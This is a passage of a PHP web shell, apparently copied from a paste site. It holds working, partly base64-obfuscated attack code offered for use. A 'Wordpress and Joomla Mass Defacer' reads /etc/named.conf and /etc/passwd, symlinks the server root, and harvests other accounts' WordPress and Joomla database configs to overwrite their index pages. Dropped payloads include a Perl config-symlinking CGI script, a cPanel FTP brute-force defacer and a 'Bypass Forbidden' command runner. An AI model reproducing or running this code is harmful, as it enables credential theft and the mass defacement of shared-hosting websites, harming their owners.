1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);if($hidden2) {$output.= "[+] index.php file founded in Theme Editor<br />";} else {$output.= "[-] index.php Not found in Theme Editor<br />";}}if($hidden2) {$url2=$site_url."/index.php?option=com_templates&layout=edit";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$content."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co);$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<dd class="message message fade">');$cond = 0;if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template successfully saved<br />";$cond = 1;}}}} else {$output.= "[-] DB Error<br />";}global $base_path;unlink($base_path.$co);return array('cond'=>$cond, 'output'=>$output); }function exec_mode_1($def_url) {@mkdir('sym',0777);$wr  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";$fp = @fopen ('sym/.htaccess','w');fwrite($fp, $wr);@symlink('/','sym/root');$dominios = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);$out[1] = array_unique($out[1]);$numero_dominios = count($out[1]);echo "Total domains: $numero_dominios <br><br />";$def = file_get_contents($def_url);$def = urlencode($def);$dd = 'PD9waHANCiRkZWYgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3pvbmVobWlycm9ycy5vcmcvZGVmYWNlZC8yMDEzLzA5LzIxL3d3dy5yb3lhbGRldGFpbGluZy5yby8nKTsNCiRwID0gZXhwbG9kZSgncHVibGljX2h0bWwnLGRpcm5hbWUoX19GSUxFX18pKTsNCiRwID0gJHBbMF0uJ3B1YmxpY19odG1sJzsNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkcCkpIHsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXguaHRtbCcsJ3crJyk7DQogICAgQGZ3cml0ZSgkZnAxLCAkZGVmKTsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXgucGhwJywndysnKTsNCiAgICBAZndyaXRlKCRmcDEsICRkZWYpOw0KICAgICRmcDEgPSBAZm9wZW4oJHAuJy9pbmRleC5odG0nLCd3KycpOw0KICAgIEBmd3JpdGUoJGZwMSwgJGRlZik7DQogICAgZWNobyAnRG9uZSc7DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCnVubGluayhfX0ZJTEVfXyk7DQo/Pg==';$base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/sym/root/home/';$output = fopen('defaced.html', 'a+');$_SESSION['count1'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] :0 ) : 0;$_SESSION['count2'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] :0 ) : 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$st = (isset($_GET['st']) && $_GET['st']!='') ? $_GET['st'] : 0;for($i = $st; $i <= $numero_dominios; $i++){$domain = $out[1][$i];$dono_arquivo = @fileowner("/etc/valiases/".$domain);$infos = @posix_getpwuid($dono_arquivo);if($infos['name']!='root') {$config01 = @file_get_contents($base_url.$infos['name']."/public_html/configuration.php");$config02 = @file_get_contents($base_url.$infos['name']."/public_html/wp-config.php");$config03 = @file_get_contents($base_url.$infos['name']."/public_html/blog/wp-config.php");$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count1'] = $_SESSION['count1'] + 1;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $dd);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count2'] = $_SESSION['count2'] + 1;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config03 && preg_match('/DB_NAME/i',$config03)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config03, $dd);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count2'] = $_SESSION['count2'] + 1;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($_SESSION['count1']+$_SESSION['count2']).' (JOOMLA = '.$_SESSION['count1'].', WORDPRESS = '.$_SESSION['count2'].')<br />';echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';if($_SESSION['count1']+$_SESSION['count2'] > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}function exec_mode_2($def_url) {$domains = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $domains, $out);$out = array_unique($out[1]);$num = count($out);print("Total domains: $num<br><br />");$def = file_get_contents($def_url);$def = urlencode($def);$output = fopen('defaced.html', 'a+');$defaced = '';$count1 = 0;$count2 = 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$map = array();foreach($out as $d) {$info = @posix_getpwuid(fileowner("/etc/valiases/".$d));$map[$info['name']] = $d;}$dt = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHdkfTs   NCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2
  490.        h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19od
  491.        G1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwv
  492.        YmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRklMRSwgJy9ldGMvcGFzc3d
  493.        kJyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPCR5OyRrYSsrKXsNCiAgIC
  494.        B3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==';mkdir('agmd',0777);file_put_contents('agmd/agmd.cc', base64_decode($dt));chmod('agmd/agmd.cc', 0755);$wr  = "Options FollowSymLinks MultiViews Indexes ExecCGI\n\nAddType application/x-httpd-cgi .cc\n\nAddHandler cgi-script .cc\nAddHandler cgi-script .cc";$fp = @fopen ('agmd/.htaccess','w');fwrite($fp, $wr);fclose($fp);$res = file_get_contents('http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/agmd/agmd.cc');  $url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/agmd/';unlink('agmd/agmd.cc');$data = file_get_contents($url);preg_match_all('/<a href="(.+)">/', $data, $match);unset($match[1][0]);$i = 1;foreach($match[1] as $m){$mz = explode('##',urldecode($m));$config01 = '';$config02 = '';if($mz[1] == 'joomla.txt') {$config01 = file_get_contents($url.$m);}if($mz[1] == 'wordpress.txt') {$config02 = file_get_contents($url.$m);}$domain = $map[$mz[0]];$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i++.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count1++;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $def);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count2++;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($count1+$count2).' (JOOMLA = '.$count1.', WORDPRESS = '.$count2.')<br />';echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';if($count1+$count2 > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}function exec_mode_3($def_url) {$domains = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $domains, $out);$out = array_unique($out[1]);$num = count($out);print("Total domains: $num<br><br />");$def = file_get_contents($def_url);$def = urlencode($def);  $output = fopen('defaced.html', 'a+');$defaced = '';$count1 = 0;$count2 = 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$map = array();foreach($out as $d) {$info = @posix_getpwuid(fileowner("/etc/valiases/".$d));$map[$info['name']] = $d;}$dt = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHd
  495.        kfTsNCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcH
  496.        VibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL
  497.        3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicv
  498.        cHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRkl
  499.        MRSwgJ2RhdGEudHh0Jyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPC
  500.        R5OyRrYSsrKXsNCiAgICB3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==';mkdir('agmd',0777);file_put_contents('agmd/data.txt', $_POST['man_data']);file_put_contents('agmd/agmd.cc', base64_decode($dt));chmod('agmd/agmd.cc', 0755);$wr  = "Options FollowSymLinks MultiViews Indexes ExecCGI\n\nAddType application/x-httpd-cgi .cc\n\nAddHandler cgi-script .cc\nAddHandler cgi-script .cc";$fp = @fopen ('agmd/.htaccess','w');fwrite($fp, $wr);fclose($fp);$res = file_get_contents('http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/agmd/agmd.cc');  $url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/agmd/';unlink('agmd/agmd.cc');$data = file_get_contents($url);preg_match_all('/<a href="(.+)">/', $data, $match);unset($match[1][0]);$i=1;foreach($match[1] as $m){$mz = explode('##',urldecode($m));$config01 = '';$config02 = '';if($mz[1] == 'joomla.txt') {$config01 = file_get_contents($url.$m);}if($mz[1] == 'wordpress.txt') {$config02 = file_get_contents($url.$m);}$domain = $map[$mz[0]];$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.($i++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count1++;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $def);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count2++;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($count1+$count2).' (JOOMLA = '.$count1.', WORDPRESS = '.$count2.')<br />';echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';if($count1+$count2 > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}echo $bencong.'<!DOCTYPE html><html><head><link href="http://fonts.googleapis.com/css?family=Ubuntu&font-effect-shadow-multiple" rel="stylesheet" type="text/css"><style type="text/css">.header {position:fixed;width:100%;top:0;background:#000;}.footer {position:fixed;width:100%;bottom:0;background:#000;}input[type="radio"]{margin-top: 0;}.td2 {border-left:1px solid red;border-radius: 2px 2px 2px 2px;}.even {background-color: rgba(25, 25, 25, 0.6);}.odd {background-color: rgba(102, 102, 102, 0.6);}textarea{background: rgba(0,0,0,0.6); color: white;}.green {color:#58FAF4;font-weight:bold;font-size:12px;}.red {color:#FF0000;font-weight:bold;font-size:12px;}</style><script type="text/javascript">function change() {if(document.getElementById(\'rcd\').checked == true) {document.getElementById(\'tra\').style.display = \'\';} else {document.getElementById(\'tra\').style.display = \'none\';}}function hide() {document.getElementById(\'tra\').style.display = \'none\';}</script></head><body><p class="font-effect-shadow-multiple" style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Wordpress and Joomla Mass Defacer</b></p>';if(!isset($_POST['form_action']) && !isset($_GET['mode'])){echo '<center><p class="mybox" align="center"><form action="" method="post"><table><tr><td><input type="radio" value="1" name="mode" checked="checked" onclick="hide();"></td><td><font size="2">using /etc/named.conf ('.(is_readable('/etc/named.conf')?'</font><span class="green"><font size="2">READABLE</font></span>':'<span class="red"><font size="2">NOT READABLE</font></span>').')</td></tr><tr><td><input type="radio" value="2" name="mode" onclick="hide();"></td><td><font size="2">using /etc/passwd ('.(is_readable('/etc/passwd')?'</font><span class="green"><font size="2">READABLE</font></span>':'<span class="red"><font size="2">NOT READABLE</font></span>').')</td></tr><tr><td><input type="radio" value="2" name="mode" id="rcd" onclick="change();"></td><td><font size="2">manual copy of /etc/passwd</font></td></tr><tr id="tra" style="display: none;"><td></td><td><textarea cols="60" rows="10" name="man_data"></textarea></td></tr></table><br><input type="hidden" name="form_action" value="1"><table><tr><td><b><font size="2">index url: </font></b><input class="inputz" size="40" type="text" name="defpage" value=""></tr></td></table><input class="inputzbut" type="submit" value="Hajar!" name="Submit"></form></p></center>';}$milaf_el_index = $_POST['defpage'];if($_POST['form_action'] == 1) {if($_POST['mode']==1) { exec_mode_1($milaf_el_index); }if($_POST['mode']==2) { exec_mode_2($milaf_el_index); }if($_POST['mode']==3) { exec_mode_3($milaf_el_index); }}if($_GET['mode']==1) { exec_mode_1($milaf_el_index); }echo '</body></html>';}
  501.        
  502.     elseif(isset($_GET['cpdef'])) {
  503.     $cpdef ='ICAgIDxodG1sPg0KICAgIDxoZWFkPg0KICAgIDx0aXRsZT5DcGFuZWwgTWFzcyBEZWZhY2VyIEJ5IERhbWFuZUR6ICYgTWF1cml0YW5pYSBBdHRhY2tlcjwvdGl0bGU+DQogICAgPC9oZWFkPg0KICAgIDxzdHlsZT4NCiAgICBib2R5e2JhY2tncm91bmQtY29sb3I6IzE1MTUxNTtjb2xvcjojNThGQUY0O30NCiAgICBib2R5LHRkLHRoeyBmb250OiA4cHQgTHVjaWRhLFRhaG9tYTttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7Y29sb3I6IzU4RkFGNDsgfQ0KICAgIHRhYmxlLmluZm97IGNvbG9yOiMwMDA7YmFja2dyb3VuZC1jb2xvcjojMjIyOyB9DQogICAgc3BhbixoMSxheyBjb2xvcjogJGNvbG9yICFpbXBvcnRhbnQ7IH0NCiAgICBzcGFueyBmb250LXdlaWdodDogYm9sZGVyOyB9DQogICAgaDF7IGJvcmRlci1sZWZ0OjdweCBzb2xpZCAkY29sb3I7cGFkZGluZzogM3B4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7YmFja2dyb3VuZC1jb2xvcjojMzMzO21hcmdpbjowcHg7IH0NCiAgICBkaXYuY29udGVudHsgcGFkZGluZzogNXB4O21hcmdpbi1sZWZ0OjVweDtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7IH0NCiAgICBheyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfQ0KICAgIGE6aG92ZXJ7IHRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7IH0NCiAgICAubWwxeyBib3JkZXI6MXB4IHNvbGlkICM1NTU7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0NCiAgICAuYmlnYXJlYXsgd2lkdGg6MTAwJTtoZWlnaHQ6MzAwcHg7IH0NCiAgICAjbmV3LGlucHV0LHRhYmxlLHRkLHRyLCNnZ3tib3JkZXItc3R5bGU6c29saWQ7dGV4dC1kZWNvcmF0aW9uOmJvbGQ7fQ0KICAgIGlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6Izk5OTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7Ym9yZGVyOjFweCBzb2xpZCAkY29sb3I7IGZvbnQ6IDhwdCBUYWhvbWEsIlRhaG9tYSI7IH0NCiAgICBmb3JteyBtYXJnaW46MHB4OyB9DQogICAgLmJhbm5lciB7DQogICAgICAgIGZvbnQtc2l6ZTogMzBweDsNCiAgICAgICAgY29sb3I6ICNGRkZGRkY7DQogICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMxNTE1MTU7DQogICAgICAgIGZvbnQtZmFtaWx5OiBHZW9yZ2lhLCAiVGltZXMgTmV3IFJvbWFuIiwgVGltZXMsIHNlcmlmOw0KICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxib2R5IGFsaWduPSJjZW50ZXIiPg0KICAgIDxwPiZuYnNwOzwvcD4NCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPg0KICAgIDxjZW50ZXI+DQogICAgSVAgU2VydmVyOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpcCIgdmFsdWU9IjEyNy4wLjAuMSIgLz4NCiAgICA8cD4mbmJzcDs8L3A+DQogICAgVXNlcidzIExpc3Q6PGJyPg0KICAgIDx0ZXh0YXJlYSByb3dzPSIxMCIgc3R5bGU9IndpZHRoOjM1JTsiIG5hbWU9InVzZXJzIiB2YWx1ZT0iVGhlIFVzZXJzIExpc3QiPjwvdGV4dGFyZWE+DQogICAgPHA+Jm5ic3A7PC9wPg0KICAgIFBhc3N3b3JkJ3MgTGlzdDo8YnI+DQogICAgPHRleHRhcmVhIHJvd3M9IjEwIiBzdHlsZT0id2lkdGg6MzUlOyIgbmFtZT0icGFzc3dvcmRzIiB2YWx1ZT0iVGhlIFBhc3N3b3JkIExpc3QiPjwvdGV4dGFyZWE+DQogICAgPHA+Jm5ic3A7PC9wPg0KICAgIEluZGV4IEZpbGUgTmFtZTo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaW5kZXhfbmFtZSIgdmFsdWU9ImluZGV4LnBocCIgLz48YnI+DQogICAgPHA+Jm5ic3A7PC9wPg0KICAgIEluZGV4IEZpbGUgTGluazo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaW5kZXhfbGluayIgdmFsdWU9ImluZGV4LnR4dCIgLz48YnI+DQogICAgPHA+Jm5ic3A7PC9wPg0KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImZvcmVzdCIgdmFsdWU9Ik1hc3MgRGVmYWNlIGl0IiAvPjxicj48YnI+DQogICAgPC9mb3JtPjwvY2VudGVyPg0KICAgIDw/cGhwDQogICAgIA0KICAgIC8qDQogICAgIA0KICAgIEZpbGUgV3JpdGVkIEJ5IERhbWFuZUR6DQogICAgIA0KICAgIEVtYWlsOiBEYW1hbmUtRHpAaG90bWFpbC5jb20NCiAgICAgDQogICAgVHdpdHRlcjogQERhbWFuZUR6DQogICAgIA0KICAgIFNreXBlOiBEYW1hbmUyMDExDQogICAgIA0KICAgICovDQogICAgIA0KICAgIHNldF90aW1lX2xpbWl0KDApOw0KICAgICANCiAgICBpZihpc3NldCgkX1BPU1RbJ2ZvcmVzdCddKSl7DQogICAgIA0KICAgICMgR2V0IERhdGEgRnJvbSBQT1NUDQogICAgJGlwPXRyaW0oJF9QT1NUWydpcCddKTsNCiAgICAkdXNlcnMgPSBleHBsb2RlKCJcbiIsJF9QT1NUWyJ1c2VycyJdKTsNCiAgICAkcGFzc3dvcmRzID0gZXhwbG9kZSgiXG4iLCRfUE9TVFsicGFzc3dvcmRzIl0pOw0KICAgICRpbmRleF9uYW1lPXRyaW0oJF9QT1NUWydpbmRleF9uYW1lJ10pOw0KICAgICRpbmRleF9saW5rPXRyaW0oJF9QT1NUWydpbmRleF9saW5rJ10pOw0KICAgICANCiAgICAjR28gTm93DQogICAgIA0KICAgIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKXsNCiAgICBmb3JlYWNoKCRwYXNzd29yZHMgYXMgJHBhc3Mpew0KICAgICRjb25uZWN0X2lwID0gZnRwX2Nvbm5lY3QoJGlwKSBvciBkaWUoIkNvdWxkbid0IENvbm5lY3QgVG8gJGlwIik7DQogICAgaWYoQGZ0cF9sb2dpbigkY29ubmVjdF9pcCwgdHJpbSgkdXNlciksIHRyaW0oJHBhc3MpKSl7DQogICAgZWNobyAiPGJyPkNvbm5lY3RlZCBUbyAtLT4gJGlwQCR1c2VyXG4iOw0KICAgIEBmdHBfZGVsZXRlKCRjb25uZWN0X2lwLCRpbmRleF9uYW1lKTsNCiAgICAkZGVmYWNlID0gZnRwX3B1dCgkY29ubmVjdF9pcCwgIi9wdWJsaWNfaHRtbC8iLiRpbmRleF9uYW1lICwgJGluZGV4X2xpbmssIEZUUF9BU0NJSSk7DQogICAgaWYoJGRlZmFjZSl7DQogICAgZWNobyAiPGJyPjxmb250IGNvbG9yPWdyZWVuPiAkdXNlciAtLT4gRGVmYWNlIFN1Y2Nlc3MhITwvZm9udD4iOw0KICAgIGJyZWFrOw0KICAgIH1lbHNlew0KICAgIGVjaG8gIjxicj48Zm9udCBjb2xvcj1yZWQ+ICR1c2VyIC0tPiBFcnJvciBEZWZhY2luZyEhPC9mb250PiI7DQogICAgfQ0KICAgIH1lbHNlew0KICAgIGVjaG8gIjxicj48Zm9udCBjb2xvcj1yZWQ+Q291bGRuJ3QgQ29ubmVjdCBUbyAtLT4gJGlwQCR1c2VyIC0tPiAkcGFzczwvZm9udD5cbiI7DQogICAgfQ0KICAgIH0NCiAgICB9DQogICAgZWNobyI8cD4mbmJzcDs8L3A+IjsNCiAgICBlY2hvICI8YnI+PGZvbnQgc2l6ZT01PiAhIE1hc3MgRGVmYWNpbmcgV2FzIERvbmUgISA8L2ZvbnQ+IjsNCiAgICBlY2hvIjxwPiZuYnNwOzwvcD4iOw0KICAgIH0NCiAgICAjIExhd0xlc3MgPDMNCiAgICA/Pg0KICAgIDwvYm9keT4NCiAgICA8L2h0bWw+DQo=';
  504.      
  505.     $file = fopen("cpdef.php" ,"w+");
  506.     $write = fwrite ($file ,base64_decode($cpdef));
  507.     fclose($file);
  508.         chmod("cpdef.php",0755);
  509.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Cpanel Mass Defacer By DamaneDz & Mauritania Attacker</b></p><iframe src=cpdef.php width=75% height=60% frameborder=0></iframe>
  510.      
  511.      </div>"; }    
  512.      
  513.     elseif(isset($_GET['bforb'])) {  
  514.     mkdir('agv', 0755);
  515.     chdir('agv');
  516.     $agv = 'PGhlYWQ+PHRpdGxlPkJ5cGFzcyBGb3JiaWRkZW4gYnkgVmlydXNhIFdvcm08L3RpdGxlPjwvaGVhZD48bGluayByZWw9IlNIT1JUQ1VUIElDT04iaHJlZj0iaHR0cDovL3d3dy5pY29uai5jb20vaWNvL2wvbS9sbWE5OTJkcjQxLmljbyI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj48IS0tIGJvZHkge2JhY2tncm91bmQtY29sb3I6ICMxNTE1MTU7IGJhY2tncm91bmQtaW1hZ2U6IHVybChodHRwOi8vaTk1Mi5waG90b2J1Y2tldC5jb20vYWxidW1zL2FlMS92aXJ1c2F3b3JtL2FnL2ZvbmRiZ196cHM2NTBmNTAyNS5qcGcpO2ZvbnQtZmFtaWx5OkNvdXJpZXIJbWFyZ2luLWxlZnQ6IDBweDsgbWFyZ2luLXRvcDogMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IE5ldztmb250LXNpemU6MTJweDtjb2xvcjojNThGQUY0O2ZvbnQtd2VpZ2h0OjQwMDt9IGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSBhOmxpbmsge2NvbG9yOiM1OEZBRjQ7fSBhOnZpc2l0ZWQge2NvbG9yOiMwMDgwODA7fSBhOmhvdmVye2NvbG9yOiNmZjAwMDA7fSBhOmFjdGl2ZSB7Y29sb3I6IzAwYTJhMjt9IC0tPjwhLS0gTWFkZSBCeSBWaXJ1c2EgV29ybSAtLT48L3N0eWxlPjxicj48YnI+PGJvZHkgYmdDb2xvcj0iMTUxNTE1Ij48dHI+PHRkPjw/cGhwIGVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCcgYWN0aW9uPScnPiIgOyBlY2hvICI8Y2VudGVyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdCeXBhc3MgaXQnIG5hbWU9J3ZpcnVzYSc+PC9jZW50ZXI+IjsgaWYgKGlzc2V0KCRfUE9TVFsndmlydXNhJ10pKXsgc3lzdGVtKCdsbiAtcyAvIHZpcnVzYS50eHQnKTsgJGZ2Y2tlbSA9J1QzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpEUXBFYVhKbFkzUnZjbmxKYm1SbGVDQnpjM056YzNNdWFIUnREUXBCWkdSVWVYQmxJSFI0ZENBdWNHaHdEUXBCWkdSSVlXNWtiR1Z5SUhSNGRDQXVjR2h3JzsgJGZpbGUgPSBmb3BlbigiLm